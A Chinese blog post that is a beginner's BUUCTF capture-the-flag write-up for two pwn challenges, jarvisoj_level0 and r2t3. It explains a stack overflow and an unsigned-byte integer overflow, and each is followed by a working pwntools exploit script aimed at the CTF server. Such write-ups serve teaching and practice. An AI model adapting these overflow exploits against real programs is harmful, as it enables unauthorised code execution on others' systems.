//
xiaoaoaode
Published on 2020-07-27 / 789 Visits
0

BUUCTF-Pwn题-Writeup(1)

写在开头

这一篇博客是我对我在这个OJ上做出的题所写的Writeup,现在是收录的一般是比较简单的。

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

jarvisoj_level0题

程序没有很强的保护

image-20200727090220683

典型的栈溢出

image-20200727090345590

函数的末尾也没有奇怪的操作

image-20200727090442941

基本操作即可

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

payload = 'A' * 0x80 + p64(0) + p64(0x400596)
p.sendline(payload)
p.interactive()

总结

经典的最基本的利用栈溢出的题

r2t3题

也没有很强的保护

image-20200727110209380

main函数里有个read函数,但是并没有栈溢出:

image-20200727110456787

image-20200727110501946

这里的strcpy函数是可以溢出的,乍一看只允许4~7个字节的数据,但是仔细看会发现strlen函数返回值赋给的v3是无符号的单字节变量,所以这里存在整数溢出。

image-20200727110535429

由无符号一字节储存数字的特点可知当输入260字节数据的时候正好变量v3为4。

所以这里就很容易了:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

payload = 'A' * 0x11 + 'A' * 4 + p32(0x8048430) + p32(0x8048760) * 2
payload = payload.ljust(260, 'A')
p.sendlineafter('name:', payload)
p.interactive()

总结

一开始我看这个题的时候没注意到整数溢出这点,以为要从strlen函数的源码入手(实际上貌似不大可能有漏洞),耽误了不少时间,现在学了很多,这些之前的知识还是有点生疏了。